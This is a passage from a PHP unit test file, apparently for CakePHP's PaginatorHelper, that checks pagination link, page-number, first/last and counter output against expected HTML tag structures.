$this->Paginator->params['paging']['Article']['options']['page'] = 2;
$result = $this->Paginator->link('Sort by title', array('sort' => 'title', 'direction' => 'desc'));
$expected = array(
'a' => array('href' => '/index/page:2/sort:title/direction:desc'),
'Sort by title',
'/a'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Article']['options']['page'] = 4;
$result = $this->Paginator->link('Sort by title on page 4', array('sort' => 'Article.title', 'direction' => 'desc'));
$expected = array(
'a' => array('href' => '/index/page:4/sort:Article.title/direction:desc'),
'Sort by title on page 4',
'/a'
);
$this->assertTags($result, $expected);
}
/**
* Tests generation of generic links with preset options
*
* @access public
* @return void
*/
function testGenericLinksWithPresetOptions() {
$result = $this->Paginator->link('Foo!', array('page' => 1));
$this->assertTags($result, array('a' => array('href' => '/index/page:1'), 'Foo!', '/a'));
$this->Paginator->options(array('sort' => 'title', 'direction' => 'desc'));
$result = $this->Paginator->link('Foo!', array('page' => 1));
$this->assertTags($result, array(
'a' => array(
'href' => '/index/page:1',
'sort' => 'title',
'direction' => 'desc'
),
'Foo!',
'/a'
));
$this->Paginator->options(array('sort' => null, 'direction' => null));
$result = $this->Paginator->link('Foo!', array('page' => 1));
$this->assertTags($result, array('a' => array('href' => '/index/page:1'), 'Foo!', '/a'));
$this->Paginator->options(array('url' => array(
'sort' => 'title',
'direction' => 'desc'
)));
$result = $this->Paginator->link('Foo!', array('page' => 1));
$this->assertTags($result, array(
'a' => array('href' => '/index/page:1/sort:title/direction:desc'),
'Foo!',
'/a'
));
}
/**
* testNumbers method
*
* @access public
* @return void
*/
function testNumbers() {
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 8, 'current' => 3, 'count' => 30, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 15,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->numbers();
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '8', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:10')), '10', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:11')), '11', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:12')), '12', '/a', '/span',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->numbers(array('tag' => 'li'));
$expected = array(
array('li' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/li',
' | ',
array('li' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/li',
' | ',
array('li' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/li',
' | ',
array('li' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/li',
' | ',
array('li' => array('class' => 'current')), '8', '/li',
' | ',
array('li' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/li',
' | ',
array('li' => array()), array('a' => array('href' => '/index/page:10')), '10', '/a', '/li',
' | ',
array('li' => array()), array('a' => array('href' => '/index/page:11')), '11', '/a', '/li',
' | ',
array('li' => array()), array('a' => array('href' => '/index/page:12')), '12', '/a', '/li',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->numbers(array('tag' => 'li', 'separator' => false));
$expected = array(
array('li' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/li',
array('li' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/li',
array('li' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/li',
array('li' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/li',
array('li' => array('class' => 'current')), '8', '/li',
array('li' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/li',
array('li' => array()), array('a' => array('href' => '/index/page:10')), '10', '/a', '/li',
array('li' => array()), array('a' => array('href' => '/index/page:11')), '11', '/a', '/li',
array('li' => array()), array('a' => array('href' => '/index/page:12')), '12', '/a', '/li',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->numbers(true);
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), 'first', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '8', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:10')), '10', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:11')), '11', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:12')), '12', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:15')), 'last', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 1, 'current' => 3, 'count' => 30, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 15,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->numbers();
$expected = array(
array('span' => array('class' => 'current')), '1', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:3')), '3', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:8')), '8', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 14, 'current' => 3, 'count' => 30, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 15,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->numbers();
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:8')), '8', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:10')), '10', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:11')), '11', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:12')), '12', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:13')), '13', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '14', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:15')), '15', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 2, 'current' => 3, 'count' => 27, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 9,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->numbers(array('first' => 1));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '2', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:3')), '3', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:8')), '8', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/span',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->numbers(array('last' => 1));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '2', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:3')), '3', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:8')), '8', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 15, 'current' => 3, 'count' => 30, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 15,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->numbers(array('first' => 1));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:8')), '8', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:10')), '10', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:11')), '11', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:12')), '12', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:13')), '13', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:14')), '14', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '15', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 10, 'current' => 3, 'count' => 30, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 15,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->numbers(array('first' => 1, 'last' => 1));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:8')), '8', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '10', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:11')), '11', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:12')), '12', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:13')), '13', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:14')), '14', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:15')), '15', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 6, 'current' => 15, 'count' => 623, 'prevPage' => 1, 'nextPage' => 1, 'pageCount' => 42,
'defaults' => array('limit' => 15, 'step' => 1, 'page' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 6, 'limit' => 15, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->numbers(array('first' => 1, 'last' => 1));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:3')), '3', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '6', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:8')), '8', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:9')), '9', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:10')), '10', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:42')), '42', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 37, 'current' => 15, 'count' => 623, 'prevPage' => 1, 'nextPage' => 1, 'pageCount' => 42,
'defaults' => array('limit' => 15, 'step' => 1, 'page' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 37, 'limit' => 15, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->numbers(array('first' => 1, 'last' => 1));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:33')), '33', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:34')), '34', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:35')), '35', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:36')), '36', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '37', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:38')), '38', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:39')), '39', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:40')), '40', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:41')), '41', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:42')), '42', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array(
'Client' => array(
'page' => 1,
'current' => 10,
'count' => 30,
'prevPage' => false,
'nextPage' => 2,
'pageCount' => 3,
'defaults' => array(
'limit' => 3,
'step' => 1,
'order' => array('Client.name' => 'DESC'),
'conditions' => array()
),
'options' => array(
'page' => 1,
'limit' => 3,
'order' => array('Client.name' => 'DESC'),
'conditions' => array()
)
)
);
$options = array('modulus' => 10);
$result = $this->Paginator->numbers($options);
$expected = array(
array('span' => array('class' => 'current')), '1', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:3')), '3', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 2, 'current' => 10, 'count' => 31, 'prevPage' => true, 'nextPage' => true, 'pageCount' => 4,
'defaults' => array('limit' => 10),
'options' => array('page' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->numbers();
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1/sort:Client.name/direction:DESC')), '1', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '2', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:3/sort:Client.name/direction:DESC')), '3', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4/sort:Client.name/direction:DESC')), '4', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 4895, 'current' => 10, 'count' => 48962, 'prevPage' => 1, 'nextPage' => 1, 'pageCount' => 4897,
'defaults' => array('limit' => 10),
'options' => array('page' => 4894, 'limit' => 10, 'order' => 'Client.name DESC', 'conditions' => array()))
);
$result = $this->Paginator->numbers(array('first' => 2, 'modulus' => 2, 'last' => 2));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:4894')), '4894', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '4895', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4896')), '4896', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4897')), '4897', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Client']['page'] = 3;
$result = $this->Paginator->numbers(array('first' => 2, 'modulus' => 2, 'last' => 2));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
' | ',
array('span' => array('class' => 'current')), '3', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:4896')), '4896', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/index/page:4897')), '4897', '/a', '/span',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->numbers(array('first' => 2, 'modulus' => 2, 'last' => 2, 'separator' => ' - '));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
' - ',
array('span' => array('class' => 'current')), '3', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:4896')), '4896', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4897')), '4897', '/a', '/span',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->numbers(array('first' => 5, 'modulus' => 5, 'last' => 5, 'separator' => ' - '));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
' - ',
array('span' => array('class' => 'current')), '3', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:4893')), '4893', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4894')), '4894', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4895')), '4895', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4896')), '4896', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4897')), '4897', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Client']['page'] = 4893;
$result = $this->Paginator->numbers(array('first' => 5, 'modulus' => 4, 'last' => 5, 'separator' => ' - '));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:3')), '3', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:4891')), '4891', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4892')), '4892', '/a', '/span',
' - ',
array('span' => array('class' => 'current')), '4893', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4894')), '4894', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4895')), '4895', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4896')), '4896', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4897')), '4897', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Client']['page'] = 58;
$result = $this->Paginator->numbers(array('first' => 5, 'modulus' => 4, 'last' => 5, 'separator' => ' - '));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:3')), '3', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:5')), '5', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:56')), '56', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:57')), '57', '/a', '/span',
' - ',
array('span' => array('class' => 'current')), '58', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:59')), '59', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:60')), '60', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:4893')), '4893', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4894')), '4894', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4895')), '4895', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4896')), '4896', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4897')), '4897', '/a', '/span',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Client']['page'] = 5;
$result = $this->Paginator->numbers(array('first' => 5, 'modulus' => 4, 'last' => 5, 'separator' => ' - '));
$expected = array(
array('span' => array()), array('a' => array('href' => '/index/page:1')), '1', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:2')), '2', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:3')), '3', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4')), '4', '/a', '/span',
' - ',
array('span' => array('class' => 'current')), '5', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:6')), '6', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:7')), '7', '/a', '/span',
'...',
array('span' => array()), array('a' => array('href' => '/index/page:4893')), '4893', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4894')), '4894', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4895')), '4895', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4896')), '4896', '/a', '/span',
' - ',
array('span' => array()), array('a' => array('href' => '/index/page:4897')), '4897', '/a', '/span',
);
$this->assertTags($result, $expected);
}
/**
* testFirstAndLast method
*
* @access public
* @return void
*/
function testFirstAndLast() {
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 1, 'current' => 3, 'count' => 30, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 15,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->first();
$expected = '';
$this->assertEqual($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 4, 'current' => 3, 'count' => 30, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 15,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->first();
$expected = array(
'<span',
'a' => array('href' => '/index/page:1'),
'<< first',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->first('<<', array('tag' => 'li'));
$expected = array(
'<li',
'a' => array('href' => '/index/page:1'),
'<<',
'/a',
'/li'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->last();
$expected = array(
'<span',
'a' => array('href' => '/index/page:15'),
'last >>',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->last(1);
$expected = array(
'...',
'<span',
'a' => array('href' => '/index/page:15'),
'15',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->last(2);
$expected = array(
'...',
'<span',
array('a' => array('href' => '/index/page:14')), '14', '/a',
'/span',
' | ',
'<span',
array('a' => array('href' => '/index/page:15')), '15', '/a',
'/span',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->last(2, array('tag' => 'li'));
$expected = array(
'...',
'<li',
array('a' => array('href' => '/index/page:14')), '14', '/a',
'/li',
' | ',
'<li',
array('a' => array('href' => '/index/page:15')), '15', '/a',
'/li',
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 15, 'current' => 3, 'count' => 30, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 15,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->last();
$expected = '';
$this->assertEqual($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 4, 'current' => 3, 'count' => 30, 'prevPage' => false, 'nextPage' => 2, 'pageCount' => 15,
'defaults' => array('limit' => 3),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->first();
$expected = array(
'<span',
array('a' => array('href' => '/index/page:1/sort:Client.name/direction:DESC')), '<< first', '/a',
'/span',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->last();
$expected = array(
'<span',
array('a' => array('href' => '/index/page:15/sort:Client.name/direction:DESC')), 'last >>', '/a',
'/span',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->last(1);
$expected = array(
'...',
'<span',
array('a' => array('href' => '/index/page:15/sort:Client.name/direction:DESC')), '15', '/a',
'/span',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->last(2);
$expected = array(
'...',
'<span',
array('a' => array('href' => '/index/page:14/sort:Client.name/direction:DESC')), '14', '/a',
'/span',
' | ',
'<span',
array('a' => array('href' => '/index/page:15/sort:Client.name/direction:DESC')), '15', '/a',
'/span',
);
$this->assertTags($result, $expected);
$this->Paginator->options(array('url' => array('full_base' => true)));
$result = $this->Paginator->first();
$expected = array(
'<span',
array('a' => array('href' => FULL_BASE_URL . '/index/page:1/sort:Client.name/direction:DESC')), '<< first', '/a',
'/span',
);
$this->assertTags($result, $expected);
}
/**
* testCounter method
*
* @access public
* @return void
*/
function testCounter() {
$this->Paginator->params['paging'] = array(
'Client' => array(
'page' => 1,
'current' => 3,
'count' => 13,
'prevPage' => false,
'nextPage' => true,
'pageCount' => 5,
'defaults' => array(
'limit' => 3,
'step' => 1,
'order' => array('Client.name' => 'DESC'),
'conditions' => array()
),
'options' => array(
'page' => 1,
'limit' => 3,
'order' => array('Client.name' => 'DESC'),
'conditions' => array(),
'separator' => 'of'
),
)
);
$input = 'Page %page% of %pages%, showing %current% records out of %count% total, ';
$input .= 'starting on record %start%, ending on %end%';
$result = $this->Paginator->counter($input);
$expected = 'Page 1 of 5, showing 3 records out of 13 total, starting on record 1, ';
$expected .= 'ending on 3';
$this->assertEqual($result, $expected);
$input = 'Page {:page} of {:pages}, showing {:current} records out of {:count} total, ';
$input .= 'starting on record {:start}, ending on {:end}';
$result = $this->Paginator->counter($input);
$this->assertEqual($result, $expected);
$input = 'Page %page% of %pages%';
$result = $this->Paginator->counter($input);
$expected = 'Page 1 of 5';
$this->assertEqual($result, $expected);
$result = $this->Paginator->counter(array('format' => $input));
$expected = 'Page 1 of 5';
$this->assertEqual($result, $expected);
$result = $this->Paginator->counter(array('format' => 'pages'));
$expected = '1 of 5';
$this->assertEqual($result, $expected);
$result = $this->Paginator->counter(array('format' => 'range'));
$expected = '1 - 3 of 13';
$this->assertEqual($result, $expected);
}
/**
* testHasPage method
*
* @access public
* @return void
*/
function testHasPage() {
$result = $this->Paginator->hasPage('Article', 15);
$this->assertFalse($result);
$result = $this->Paginator->hasPage('UndefinedModel', 2);
$this->assertFalse($result);
$result = $this->Paginator->hasPage('Article', 2);
